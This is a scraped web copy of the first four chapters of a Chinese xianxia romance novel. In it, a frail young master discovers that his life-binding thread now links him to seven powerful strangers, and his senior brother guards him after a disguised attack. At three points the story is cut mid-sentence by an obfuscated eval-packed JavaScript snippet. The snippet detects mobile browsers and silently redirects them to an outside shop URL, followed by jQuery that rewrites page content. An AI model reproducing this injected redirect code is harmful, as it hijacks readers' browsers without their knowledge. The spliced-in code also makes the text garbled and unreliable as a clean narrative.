《和七个大佬绑定情缘线以后》
1. 第 1 章
冬,大雪日。
朔风裂帛,雪浪吞世。
这场雪一连下了小半月,大地上全都盖上厚重的冬雪。
然而四象谷内的气候却依旧如暖春,寒气撞上因阵法形成的壁垒,倏然消散。
谷内花气袭人,春和景明。
入谷行百余步,便能瞧见谷中最大的争春湖中冒着袅袅仙气,湖水清澈见底,银鱼游弋其间,甩尾而过。
“少主,您还是快些回去吧。”从湖边的石亭里传来一道有些稚嫩的童子声,语气饱含担忧,“今日天不好,您别被冻着了。”
被他紧紧看住的人撑着下巴靠在栏杆上,盯着湖中游鱼出神,没一会又舒舒地伸出手极轻极慢地拨弄眼前的一张荷叶,那纤细修长的手被荷叶衬得更加清透白皙。
“少主…”一直跟着他的药童方风知道他这是又开始走神,只好挑他想听的说,“大师兄接了信,应该也快回来了,说不准现在就已经到阵法外面了。”
“被他瞧见您在外吹冷风,又该好一阵担心了。”
被他哀求的人听到这个消息总算回过头,露出一张轻盈漂亮的玉面来,那双浅绿的眼瞳澄澈清明,让人见了便想起初春柔和的风。
“师兄……”江雪粼抬起手揉揉眉心,然后伸手捞过放在石桌上的果盘,吃一颗灵果就叹一声。
他看着焦急的童子,指使人去别处,“方风,那你再去瞧瞧师兄是不是已经从外面回来了。”
方风不想去,他答应了谷主和夫人要好好看着少主,更何况依照大师兄对少主视若珍宝的态度,若是回谷,肯定第一时间找过来了。
他刚刚说的猜测的话也不过是想让江雪粼快点回去而已。
但到底拗不过自家少主,在江雪粼再三保证自己再坐两息就会回去之后,方风把放在一旁的披风给他系上,一步三回头地走了。
江雪粼等他走没了影,才撩开层层叠叠的衣袖,露出皓白的腕来。
只见那雪融融的皮肤上烙着一圈若隐若现的红痕,而奇怪的是,那红色印记仿佛有生命一般分叉出七条,然后延展出去,到了江雪粼也不知道的地方。
他抓抓脸挠挠头,没一会就泄气趴在桌子上,看了半天也看不出为什么明明他之前看的只和师兄连接在一起的红线,现在多出来另外几条,真叫人发愁。
湖面被飘渺的雾笼罩,江雪粼的思绪随着蒸腾的水汽飞远。
这其实是他的第二世,上辈子死后他就穿进了一本小说里。
说是穿越也不尽然,准确来说是他死后重新投胎到了这个世界。
他前世同样多病,身体总是不见好。
爸妈和哥哥一直以来都以他的名义捐赠救助其他人,他也力尽所能做些好事,只寄希望于上天看在这些善事上,让他有朝一日能不再受病痛的折磨。
倒也不算没好处,现在世界上死亡率比新生率高出不少,如果想重新投胎,还不一定能摇到人类的号。
但还有像他这样,生前做了很多好事的人,可以有另外的选择。
那就是前往其他已经成型的小说世界,填补空缺人物。
《谁主沉浮》是一本无cp龙傲天升级流小说,在小说里,江雪粼这个角色的定位是个炮灰,他是男主一生都在仰望的某位大佬早逝的未婚妻,从头到尾都只活在别人口中。
在这个人均千岁的世界,他一百来岁就早早病逝了。
这个角色很边缘很透明,以至于在世界升格后就变得空白。
但这些角色都是世界升维的基石,缺一不可,只能等有缘人的填补。
投胎可选择的小说世界有很多,这个世界是江雪粼摇号摇到的,并且之后两次都是同一个结果。
想到现实他二十岁病逝,去了小说世界还能再活一百年,不论怎么看都是他赚了。
于是他坚定地在选择页面按下了确定。
来到异世界的前十八年,江雪粼就如同真正的孩童那般长大。
直到十八岁生辰那天,他才想起自己前世和一些小说剧情来。
虽然记忆很模糊,但他却还记得手腕上的永寿同心情缘线,是如小说里描述的那般,他的师兄千辛万苦找回来,能够给他续命的法宝。
只是现在好像出了点问题——
他又抬起手轻晃,日光落在腕上有些刺目,丝线随着他的动作轻轻晃动。
他不是只和师兄绑定了情缘线吗?
这多出的六条到底从哪里来的?
多想无益,湖边即使布有阵法也无法完全消抹从地底漫上来的寒气。
江雪粼紧紧披风,起身准备回自己的淑棠院等师兄回来再问问他。
行至争春湖与道路的岔口,他却远远瞧见一个丰神俊朗的仙君拎着油纸包漫步而来。
江雪粼眼睛一亮,扬声喊到:“师兄!”
那仙君也瞧见他,反而站定不动了,只笑盈盈地等他像蝴蝶那般翩跹又欢快地投入自己的怀抱。
“师兄,你怎么才回来?”江雪粼在来人身上轻捶两下,没用力,仰起的脸上还带着不高兴。
师兄回来的比他们约定的时间晚了整整半月,害的他担心死了,他这段时日都有些心神不宁,今日一早又发现情缘线出了问题,叫他更加胆战心惊起来。
裴星垂挑眉,伸出手为他将眼前松散的发撩开,眼中荡着笑,凑近些伸出手轻点他的鼻尖,“想我了?”
江雪粼拍开他的手,懒懒拖长声调,“师兄,你为何要明知故问?”
自从他爹娘双双闭关,谷中事务交由裴星垂全权负责,他就和对方一直待在一起。
两人还是第一次分别这样久,虽然每日都会用传讯玉符联系,但江雪粼心里总是不踏实。
“我给你带了你喜欢的桂花糕和栗子酥,别生我的气了,好不好?”裴星垂揽着他往淑棠院走,外面风起,有些凉了。
小师弟若是受风生一场病又会遭许多罪。
这样想着,裴星垂将风完全遮挡住。
“这些哪里够?”江雪粼斜睨他一眼,掰着手指算,“我还要东海的龙珠,蓬莱的仙草…还要那凡尘里好吃的好玩的!”
他说话的时候裴星垂就一直看着他笑,这些往日都已经送进淑棠院,为难师兄的时候他也不知道想点别的,说话的语气也都还和小时候撒娇一样。
这话裴星垂没说出口,只是眸中含笑着点头应下他所有要求。
两人回到淑棠院,童子已经点好了安神香,清幽淡雅的香气将人笼罩,让人完全放松下来,江雪粼这才说起困扰自己好半天的事情。
“师兄,这个……”他撩开衣袖,催动灵力,腕上的丝线便显露出来,张牙舞爪地朝向七个方向,“它好像出了点问题。”
永寿同心情缘线,顾名思义,只要心意相通,便可永寿安康。
江雪粼的母亲云意月是妖,子嗣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109952|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本就难以孕育,更何况她在孕期时被魔族中人重伤,用了秘法才保住这个来之不易的孩子,却也导致他出生之后格外体弱。
包括裴星垂在内的四象谷所有人都一直在寻找能够为江雪粼续命的法宝,情缘线只为其中之一,是裴星垂在某个上古大能陨落的秘境之中得到的,这个东西能够让他将自身寿元渡给江雪粼。
在江雪粼十八岁生辰那天,他用这根情缘线将他们两人的命运紧紧连接在了一起。
但现在情缘线出问题了。
裴星垂压着眉,虚虚圈住江雪粼的手腕,将灵力注入丝线,神识顺其延伸出去,试图探查其他六根丝线的另一端连接着谁。
这无疑是一种很危险的做法,稍有不慎裴星垂的神识就会被攻击,然后反噬到他身上,造成不可逆转的伤害。
但无论如何,都不能让他的小师弟置于危险之中,必须弄明白这多出来的丝线是怎么回事。
裴星垂小心翼翼地催动神识,却只探到一团迷雾。
他还想再更深入地探寻一番,却感觉自己的神识被狠狠攥住然后抽打了一下。
仿佛有无数根细针刺中太阳穴的疼痛让他的识海瞬间动荡起来,整个人都稳不住身形,额上渗出细汗,面如白纸。
“师兄!”江雪粼惊呼一声,连忙扶住他,眉心折起,是化不开的愁。
裴星垂撑住桌角,指节冰凉泛白。
他神识抽离的快,被攻击的疼痛也不过一瞬息。
他对上那双含着水光的眼眸,下意识露出一个安抚的笑,“……我没事。”
而后他又轻咳两声,将口中的血腥气压下去,而后抬手抚平江雪粼的眉,不愿意见到对方皱眉,故作轻松地说:“好了,你师兄我这样厉害,不会有事的。”
江雪粼却依旧忧心忡忡,心中更是自责不已,若是师兄因为自己出了事,他肯定没法原谅自己。
他趴在裴星垂身上,神情严肃,翻来覆去地盯着人看,“师兄,不要骗我。”
裴星垂连忙起身转了两圈,然后俯身捧住江雪粼的脸,揉搓两下,“你瞧,师兄真的没事。”
“……唔唔师兄!”江雪粼因为他的动作说话都变得含糊,扒开他的手瞪他。
他瞪人没什么威力,眼中水光泛泛。
那双绿眼睛里还藏着未褪尽的担忧,生气恼怒的表情还格外抓眼,惹得裴星垂心中柔软,不住地轻哄着他。
“所以这到底是怎么回事?”江雪粼推开他凑近的脸,偏过身去不看他,又抬手,那些丝线也随着他的动作摇晃。
裴星垂重新落座,撑着下巴若有所思。
好半晌他才开口,“具体情况我不知晓,这件法器当初确实只绑定了你我。”
“但是也无妨,它并不会对绑定者造成什么危害,若是苦主找上门来,四象谷富甲一方,也不至于给不出赔偿。”裴星垂把江雪粼的手按下去,为他敛好衣袖,“一切安心,有师兄在呢。”
话是如此说的,但裴星垂心中却不太乐观,他已是元婴巅峰修为,若情缘线的其他几处绑定之人修为低于他,便无法察觉到他的神识探查。
但脑海中残存的刺痛无一不彰显着,这几位的修为要么和他一样,要么比他高。
他们会不会已经察觉到了阿粼的存在,会不会在不久的将来对阿粼不利?
算无遗策的四象谷首席大师兄,第一次对自己做的决定感到懊悔。
2. 第 2 章
裴星垂向江雪粼隐瞒了自己神识受到攻击这回事,他只是按下心中的忧愁,面上露出一贯常有的笑,伸手将比自己小的手盖住,“皎皎别怕,不管什么事师兄都会陪着你的。”
江雪粼想着他刚刚的异样,总觉不对劲,被他这样一叫,陡然回过神,皱着脸发出抗议,“师兄,都说了别这样叫我。”
他从小就生的好看,像个粉雕玉琢的瓷娃娃,他爹娘好不容易得了个孩子,恨不得把自己所有喜欢的美好词汇都用在他身上,他就得了这样一个小字。
等大一些,他觉得这个名字太秀气,就不准大家再叫。
但亲近的家人偶尔调侃他时总会用那种温柔的,带着笑意的语气呼唤他的小字——
“皎皎。”裴星垂又叫他,然后在他扑过来的时候揽住他的腰,然后低头贴他的面。
“好了,不闹你。”裴星垂稳住他,为他拆开油纸包,拿里面的糕点喂他。
“我此次去仙盟议事,具体情况之前不曾告诉你。”他顿了顿,才又继续说,“人族与魔族相交的边境有异动,根据芜水城传回的消息来看是魔族决选出了新魔尊。”
他说的轻巧,江雪粼咬着糕点的动作却是一顿。
魔尊??
上一任魔尊离世之后,五只大魔划地为王,魔域陷入混乱,有不少魔族流窜到人界和妖域。
为了镇压魔族带来的混乱,就连不常出世的四象谷都出面了。
江雪粼对魔族很是厌恶。
他娘亲十九年前便是被逃窜在外的魔族伤到,一直需要闭关修养暗伤。
他爹要为伴侣护法,一家三口一年到头也见不上几面。
魔族与人和妖正经修炼的方式不同,他们大都会吸收其他生灵的生命力、灵魂或修为来提升自己的实力。
魔之一族,人人厌恶,人人喊打。
新魔尊上任,难说会不会对其他几个方域造成威胁。
江雪粼慢吞吞咬着桂花糕,清甜的香气在口腔里蔓延,他皱着好看的眉,脑子里乱糟糟的。
小说原文中和魔族相关的剧情在大后期了,现在的时间点,男主还没出生呢,几百年前的事情哪里会详细写?
江雪粼想起来的剧情也是模模糊糊,对于新魔尊的事情就更加一无所知。
他撑着脸,长出一口气,如果能多记得一些,帮到师兄就好了。
裴星垂不知道自己的小师弟在想什么,他不喜欢他的皎皎皱眉。
他抬起手慢慢抚平那折起的眉,动作轻轻的,语气也轻,就连说出的话也轻飘飘,只有他自己知晓其中的重量,“皎皎,师兄永远都不会让你陷入危险之中。”
江雪粼闻言点头,眉眼舒展开,也反过来开解裴星垂,“魔族内乱严重,几位魔王谁也不服谁,新魔尊平定内乱估计要花不少时间。”
“师兄也无需太过忧心了。”
几位魔王甚至还有可能联手对付这位新魔尊,若是想要对其他几个方域出手,对于这位新魔尊来说,绝非易事。
更何况四象谷位置独特,处处布有阵法,别人想进来还要先破解阵法,倒也算安全。
江雪粼整个人都趴到自己师兄的怀中,笑得眼睛眯起来,“再不济还有仙盟,他们不会放任魔族不管的。”
裴星垂轻点一下他的额头,从善如流地应下,而后又说起其他事,“我离开的时日,阿粼有没有好好修炼?”
听到他问出这样的话,江雪粼面上的表情瞬间变得心虚,自以为不引人注目地想要从他怀里爬出去。
裴星垂哪里不知道他什么性子,家里的童子都依着他,师父师娘又双双闭关,没人看着他,修炼便也三天打鱼两天晒网。
感受到师兄略带怀疑的视线,江雪粼猛地直起身,理不直气也壮,“你留下的课业口诀我可是都学会了!”
他偷偷觑着裴星垂的表情,见对方无动于衷,只好抱着对方手臂晃来晃去,“师兄,你说过的,只要我学会就可以了,你可不能说话不算话。”
裴星垂哪里经得住他这样的撒娇,面上的严肃表情都维持不住,泄出笑意来。
江雪粼惯会顺杆爬,见他笑了便知他不会揪着这件事不放了,也笑嘻嘻地如团雀般去蹭人,声调拖得长,裹着蜜一样,尽会说些好听的话哄人,“师兄,好哥哥,你最好了。”
见他卖乖,裴星垂没好气屈指弹他脑瓜一下,不疼,只是有些痒,语气似是无奈,“你啊。”
谷中事务在谷主江平眷闭关后一应由裴星垂处理,庶务堂的长老给师兄弟两人留够了说话的时间才用玉符联系他。
裴星垂瞧一眼玉符上的消息,把钻到自己怀里的绒绒脑袋按下去,“我去庶务堂看看,阿粼,别让方风他们离你太远。”
江雪粼坐直身子,理理自己被裴星垂趁机揉脸的头发,鼓鼓脸,“知道了。”
裴星垂又将一枚储物戒塞给他,里面装着的东西全是在外面买的新奇玩意,然后摸摸他的头离开了淑棠院。
江雪粼一开始还高高兴兴细数着师兄又给自己带了什么好东西,没一会又觉得无趣极了。
师兄好忙。
这些东西,本来应该由师兄来给他解说才对。
“大师兄回来了,少主不觉得高兴吗?”方风有些不解,美人皱眉总是叫人忧心的,更何况这个美人还是他家少主。
只是方风嘴笨,若是其他随便谁在这里,都会绞尽脑汁使劲浑身解数哄他开心。
江雪粼好看的眉皱成弯月,眸光清凌凌,润着水,便叫人不忍心让他露出这样的表情了。
他叹一声,一会想到手上的丝线,一会又想到那新魔尊,一会又想到闭关的父母亲,脑子里思绪乱糟糟的。
“倒也没觉得不高兴。”他用修长的手指轻敲着自己的脸,“只是静不下心来。”
倏尔,他站起身,转身就往外走,“我要去书阁瞧瞧。”
他记得有人给这些法器都编纂了经卷,四象谷的书阁里也有这类书,往日他都没怎么注意,今日被扰乱心神也忘记去看。
现在正巧无事,倒是可以去找找。
方风已经习惯他想一出是一出的跳跃思维,连忙抓着披风跟上去,“少主,您慢点,外头风大,把披风系上吧。”
等他追上人的时候,却瞧见自家少主蹲在附近的拱桥边逗猫。
四象谷毗邻妖域,常有未化形的小妖误入其中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109953|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>今日这只猫妖似乎有些不同,方风不知道该怎么描述,总感觉它看自家少主的目光很奇怪。
“少主小心,别让它伤到你了。”方风相信自己的直觉,对待少主的事情他一向谨慎,眼睛盯着那猫妖,确保有不对劲的苗头自己能及时出手。
江雪粼偏头对他露出和煦的笑,“没事的,它看上去不会咬人。”
这只小妖怪对自己似乎没有恶意,若是寻常,江雪粼肯定会多留一会陪它玩,但现在他有更重要的事情,只能遗憾的将目光从小猫妖毛绒绒的尾巴上收回,任由方风一边絮絮叨叨让他注意身体,一边给他系上披风。
两人谁也没想到这只看似无害的猫妖会突然发起进攻。
那双黝黑的兽眼中闪过一丝幽蓝色暗芒,张嘴露出尖利的牙,对着江雪粼垂在一旁的左手狠狠咬下去。
江雪粼:“嗯?”
他感觉到有草絮落在自己手上,便抬起手,叫那只猫妖就咬了个空。
一击不中,猫妖身上妖气暴涨,身形瞬间长大数倍,居高临下地凝视着江雪粼,而后张开血盆大口朝着江雪粼咬下来。
方风将江雪粼护在身后,暴喝一声,朝猫妖的心脏打出一记灵力,那庞然大物宛若纸造般泄气,最后竟然真的变成薄薄一片,飘飘然落到地面上。
“少主您没事吧?”方风警惕地盯着前方,害怕那‘猫妖’再发难。
江雪粼好看的眉紧锁着,眉心拢起飘渺如烟般的愁绪。
灵力带起的飓风让周遭的空气变得浑浊,身为半妖对于生灵的感知比人类更敏锐,此刻那被刻意隐藏的气息被他探查到,“竟然是鬼修……”
不,不止是鬼修那么简单,似乎还沾染着魔气。
方风大惊失色,什么?
他连忙去探查,得出的事实也确实如此。
哪里还有什么‘猫妖’?不过是薄薄一张纸。
但上面鬼气森森,死气浓郁,片刻之后无风自燃,除了难闻的腐朽气息,其他什么也没留下。
裴星垂闻讯而来,跟在他身后的还有一起商议事情的各堂长老。
他们同样看到了那副场景,全都眉头紧锁。
“少主可有受伤?”长老们摸小孩一样过来摸摸江雪粼的脑袋,目光怜爱,“受惊吓了吧?别怕,我们都在呢。”
江雪粼乖乖点头,却还是一副百思不得其解的模样。
四象谷在几个方域势力中是一贯避世的那个,四象谷弟子也从不主动与外人结仇,近些年因着谷主与夫人常常闭关,谷中人愈发低调,只有大师兄裴星垂偶尔在外走动。
更别说江雪粼病怏怏的,更少出门了。
最近唯一的异样就是手腕上多出来的丝线,若是因为这个冲他而来,真还是有些棘手。
裴星垂死死皱着眉,符纸早已燃烧变成飞灰,他的目光却仿佛穿透过余烬落在操控之人身上,犹觉将对方千刀万剐都不够。
装神弄鬼,实非君子所为。
有这样的人和阿粼绑定在一起属实祸害,用神识探查对方底细如此来解除绑定不稳妥,他还是要尽早找到解除办法,将丝线切断。
绝对,绝对不能让人对阿粼造成威胁。
3. 第 3 章
执法堂的人将这里围起来探查,江雪粼还有些惊魂未定,经此一遭,也彻底没了去书阁的兴趣。
裴星垂和各位长老的议事已经结束,他陪着江雪粼一同回了漱棠院。
这里有他看着,不需要放风再守着,他挥挥手,让人去外面和其他人一同守着,才转向依旧垂眸思索着的江雪粼。
江雪粼轻咬着下唇,好看的眉紧锁。
鬼修,或是魔族中人,今日之事是针对他的试探。
这两个种族多是心狠手辣之辈,一旦被盯上是很麻烦的事情。
他抬起手,在其他人看来空无一物的手腕上若隐若现的赤红丝线格外显眼。
他的眸光清亮亮的,仿佛春风吹皱的湖水,现在却漾着难过,“它想杀了我。”
江雪粼的话语恍若惊雷,将裴星垂炸的心神不宁。
他另一只手骤然攥紧,尖锐的疼痛瞬间将他混乱的思绪拉回来,他对上江雪粼清凌凌的目光,声音有些发涩,但面上依旧是君子端方模样,“皎皎,别怕。”
他不知道自己现在的模样很可怕,那双赤红的眼瞳变得猩红,面色阴沉如墨,往日的儒雅随和全都消失不见,倒是惹得江雪粼担心起他来。
“师兄,师兄,我没事的。”江雪粼上一次见他这样还是很小的时候,那次的他病的差点没救回来,裴星垂便是如此模样,他连忙出声安抚,“等执法堂追查出幕后是何人,我们再上门去赔礼道歉好了。”
永寿同心情缘线不同于其他法器,这个法器沾了因果,情缘线归根结底算得上命线。
被人私自绑定命线找上门来仇杀倒也说得过去,但是对方来得太快,让他们都没想到。
更何况或许还牵扯到魔族,这叫裴星垂如何能放下心?
对方似乎颇为了解四象谷,至少知道四象谷内的阵法不会阻碍无害的小妖进入其中。
到底是谁呢?
裴星垂看着安慰自己的师弟,他青梅竹马的师弟,他病弱的师弟。
若是他更强一些,再强一些,哪里需要这些辅助的法器?
他就能直接为他的师弟,他的皎皎逆天改命。
当年云意月历尽千辛才生下江雪粼,却被族中长辈告知,即使用密法将这个孩子保住,他也活不过百年。
一个大妖和修真者的孩子,在这个人均千岁的修真界,活不过百年。
云意月和丈夫江平眷用了好几年的时间才接受他们的孩子是个短命鬼的事实,因此也愈发疼爱这个唯一的孩子。
裴星垂是江雪粼的娃娃亲未婚夫,重明一族的后代,他被族人早早被送到四象谷,只等云意月生下孩子之后让两个孩子培养感情。
谁也没料到云意月会被魔族袭击,生下的孩子也被断言活不过百年。
江平眷和当时年纪还不大的裴星垂十分正式地谈过话。
他和云意月的意思是只希望自己的孩子安稳长大,在短暂的生命中平安喜乐地活着,婚约一事是他们对不起重明一族,裴星垂若是觉得不满,可以尽情提要求。
裴星垂没有离开四象谷,重明一生有且只能有一个伴侣,神山的祭司为裴星垂选定的人是江雪粼。
他没意见,毕竟他从小就是修炼狂魔,对情爱不感兴趣,伴侣是谁都不重要。
对方不管是江雪粼,河雪粼还是海雪粼,都不重要。
“……师兄?”江雪粼见裴星垂表情依旧可怖,思绪神游天外,便略带些担忧地拍拍对方的手臂,将陷入癔症的自家师兄唤醒。
裴星垂颤着眼睫,垂眸看向自己的师弟,风撩动他额前散落的发,眼中倒映出清晰且漂亮的身影。
他的师弟有着一张瓷白的面,蝴蝶般的眼睫,他的绿眼睛是两汪温柔的湖泊。
雪粼,雪粼。
春雪消融,波光粼粼。
他的皎皎,那双漂亮的眼睛里漾着春水般的光,此刻正担忧地望着自己。
如果能把他藏起来就好了。
藏到一个不会受伤,不会被人发现的地方。
重明的心火烧得裴星垂难受,那火炙烤着想要吞噬掉爱人、将人永远藏起来的欲望,让骨节都发疼。
但他面上依然如同端方君子,扯出一抹笑来,“是我没照顾好你。”
江雪粼似是没想到他会这样说,微微睁大眼睛,而后抓起男人的手,慢吞吞撑开。
然后用灵力化出一只小狗,把裴星垂的手放在那团灵力上做了个抚摸的动作,“摸摸小狗头,万事不用愁。”
“摸摸小狗头,无痛又无忧。”
那双澄澈的眼睛里迸发出毫不吝啬的笑,裴星垂听到了自己震耳欲聋的心跳声。
他面对江雪粼时总这样,心跳不受控制。
咚咚,咚咚。
“师兄,别不开心啦。”江雪粼挥散那团小狗灵力,用自己的脸贴住裴星垂的掌心,轻蹭一下,“笑一笑嘛。”
裴星垂再一次垂下眼,眼中的猩红已经褪去,赤红色变得纯粹,他感受着手心里柔软的触感,敛去眼中的思虑,轻轻笑了一下,“嗯。”
这叫他如何放心丢下他的皎皎一个人?
谷中阵法又被修改修改,这段时日应当不会再有外人外物闯进来。
修真界有一种追踪气息的术法,若是符纸没有燃烧掉,或许还能探查出到底是谁来。
但很可惜,或许是幕后之人过于谨慎,留下的气息也过于浅淡,无论怎么查都是一无所获。
“会是谁呢?”又一日清晨,修习剑术之后,江雪粼趴在漱棠院外的石桌上,脸颊上的软肉被压出红痕,还在嘟囔这件事。
裴星垂将剑收起来,拿去随身携带的手帕,将江雪粼的脸托起来,又将手帕垫在石桌上,把人摆回原来的动作之后才在另一边坐下。
“只会用这样下作的手段,实在算不上什么正人君子。”裴星垂冷声评价,面上的讥讽肉眼可见。
法器失控是谁也没预料到的事情,这位前来试探之人一出手便是如此阴狠手段……
裴星垂的脸色又冷几分。
江雪粼抓着发尾在自己的脸上轻挠,无奈地叹一声,“师兄,若真是魔族,那也本不是什么正人君子。”
只是情缘线一旦和人产生联系,要么斩断,要么偿还因果。
或许还是要和丝线另一边的人见一面,他们阻隔了裴星垂的神识探查,不见面恐怕很难解除。
派出去的人还没传回消息,江雪粼也根本没办法通过丝线看到另一头的人到底是谁。
真是一桩大麻烦事。
“或许是我与他们在不知道什么时候生出了因果。”江雪粼凑近去逗自己的师兄,“好啦师兄,别皱着眉了,难不成师兄在我身边,也护不住我吗?”
他的眼神清亮,带着些微调侃。
裴星垂心中刚升起的戾气又于无形之中弥散,笑看着总会说些甜言蜜语的师弟,无奈摇头,“我定会护你周全。”
-
淑棠院和裴星垂的垂风院相距不远,师兄弟两人偶尔还会在对方院里留宿。
在江雪粼被袭击之后,裴星垂就更加不放心他一个人,这几日都歇在他院里。
只是今日裴星垂亲自带着执法堂的人去谷中各处检查阵法的松动情况去了,留下江雪粼一人在淑棠院
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109954|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
不知为何,用过药膳之后他就变的有些困倦,些许是日光正好,药膳中也加了安眠成分的药草,他本想看会游记,到底没抵挡住困意,居然趴在书桌边就睡着了。
不知过去多久,手变得没有力气,握着的书卷被松开,眼见就要落在木制地板上发出沉闷的声响。
一只修长有力的手抓住了那卷书,轻轻放在桌面上,没有惊动任何人。
江雪粼睡的并不安稳,小半张脸埋在臂弯处,脸颊粉粉的,好似枝头汁水丰沛的蜜桃,叫人忍不住想咬上一口。
垂在一旁的手指白皙纤细,圆润的指尖不是健康的粉色,有些白,那里的温度也是冰冷的,带着凉意的。
来者垂眸一直盯着江雪粼的手指看,把沉入梦中的人看的都皱起眉,他才移开视线。
却又一寸一寸用目光描摹着江雪粼的眉眼,身形。
他的注意力似乎很容易被吸引走,现下又落在江雪粼脖子上。
那颗痣或许本人都不清楚,来者却居高临下看个分明。
在后劲与肩膀相接的地方,因为衣衫垂落显露出来,是朱砂色,像贴在雪白的肌肤上面的,随着江雪粼的呼吸而轻微起伏着。
漂亮,抓眼。
陌生且不请自来的客人伸出手停在那枚痣上面,然后轻轻落下,感受着手下柔软如同绸缎般的触感。
他手上的动作有些下流,甚至带着狎昵,将那朱砂色小痣按压的更红,带着薄茧的手掌心温度是滚烫的。
江雪粼眉心紧皱着,却无论如何都醒不过来,后颈被按住,呼吸也变的急促。
很难受很糟糕的感觉。
在熟睡的他面前,陌生的仙君目光不包含一丝情欲,一寸一寸轻抚他的脸,最后停在他的手腕上——
那里有一根寻常人看不见的丝线,从层层叠叠的衣袖下延伸出来,另一端赫然连接在这仙君手上。
-
江雪粼睡着的时候,总觉得有人在盯着自己看。
那目光惹人恼,烦得很。
鼻尖还萦绕着冰雪和玉髓兰的气息,半梦半醒间,眼前似乎还有人影在走动,他伸出手揪住了那片与四象谷格格不入的拂紫锦衣袍,而后睁开眼。
却瞧见裴星垂正坐在他旁边,拿着他没看完的游记翻着,衣摆一角被他紧紧攥在手心里。
旁边的花瓶里被童子换上了新鲜的花,是一束漂亮的紫蝴蝶,难怪梦里一片紫色。
察觉到他已经醒来,裴星垂微微低头,伸手为他撩开有些凌乱的发,声音轻柔,“怎么皱着眉,是做噩梦了吗?”
“……师兄?”江雪粼抓住因为自己的动作往下滑去的披风,声音还带着些微刚睡醒的微哑。
撩起的眼水润润的,整个人都还迷糊着,“你什么时候来的?”
只是一瞬息的停顿,裴星垂便面不改色地开口:“巡完逻便过来了,见你睡着,不忍心叫醒你。”
“不过若是你再不醒来,我也要唤你了,免得夜里你又睡不着。”
江雪粼清醒了些,他坐起身拢拢披风,打了个哈欠。
照师兄的意思,他一直都在这里,难道自己是做梦迷糊了?
房间里燃着好闻的熏香,那一抹冰冷的雪和兰花香好似只是幻觉。
他靠着裴星垂,在对方肩上蹭蹭,撒娇一般,“师兄,我想吃你做的香兰糕。”
也不知道为什么做梦会梦到兰花,但是嘴馋了,想吃。
裴星垂觉得好笑,还是应下来,“好,我去做。”
至于有人闯进四象谷的事情,阿粼不必知晓,他会为他的阿粼处理好这一切的。
4. 第 4 章
因着白日里漱棠院疑似出现陌生人踪迹的事情,裴星垂也不放心再让江雪粼一个人待在一起。
这根丝线古怪的很,他一想起来就面色难看。
为何在对方触碰阿粼时,自己也能感受到柔软温热的触感?
若非如此,他也不会回来的这样快。
只是那人用了遮掩气息和面容的法术,连自己都无法堪透,一身仙风道骨,做的事却是和那市井小人般无耻下流。
若被他知晓是谁,他绝不轻饶。
眼下有比这些更重要的事情,裴星垂要陪着江雪粼睡觉。
元婴期的修士其实已经不需要睡眠,他在小师弟这里也只是打坐修炼心法。
江雪粼身子弱,即使有修为傍身,每日还是需要足够的睡眠时间。
今日他却心头总觉得不安,总觉得骨头里像是有蚂蚁在咬,寒气灌进来,加之白日里休息了足够多的时间,这会倒是叫他翻来覆去也无法入睡了。
隔着床边垂落的层层天青色软烟罗,即使只能瞧见朦胧的影子,他还是抬眼去寻师兄的身影,对方在身边才会更有安全感一些。
修士耳聪目明,正在打坐调息的裴星垂听见里间传来的细微声响,睁开眼,低声询问,“皎皎,睡不着吗?”
听到他的声音,里间的动作小了些,而后是江雪粼微弱的带着可怜的声音,“师兄,你进来陪陪我吧。”
他本意只是想裴星垂靠近一些,到里间来打坐,或是睡在榻上。
却没想到裴星垂沉默片刻便起身,还未听见脚步声人已到了床边,投下叫人安定的阴影。
帷幔被撩开,江雪粼眼尖地发现就这么一会功夫,师兄已经脱去外衣,手上还拿着未用过的被子。
男人弯下腰,连人带被,轻轻揽了江雪粼一把,“皎皎,往里去些。”
江雪粼怔了一下,随即裹着锦被往里一滚,将位置让了出来。
两人以往也不是没有睡在一起过,倒也不显得裴星垂的举动突兀了。
这张拔步床还算宽敞,可即便两人睡在一起不显拥挤,却依旧能感受到属于另一个人的气息。
带着蓬勃生命的热度隐隐约约传过来,像一堵暖墙,隔开了从四面八方漫上来的虚冷。
江雪粼悄悄吸了一下鼻子,这点声响也被裴星垂捕捉,他是面对着江雪粼躺下的,目光落在对方雪白的面上,命令的语气也因为压低声音而显得柔和,“盖好被子,闭眼,睡觉。”
“哦。”有人陪在身边,好像就安心许多,江雪粼闭上眼睛,睡意爬上眉心,他感受到师兄又坐起来,不放心地为他掖紧被角。
月光不知何时偏移过来,轻透的光滚过纱窗,落在房间里。
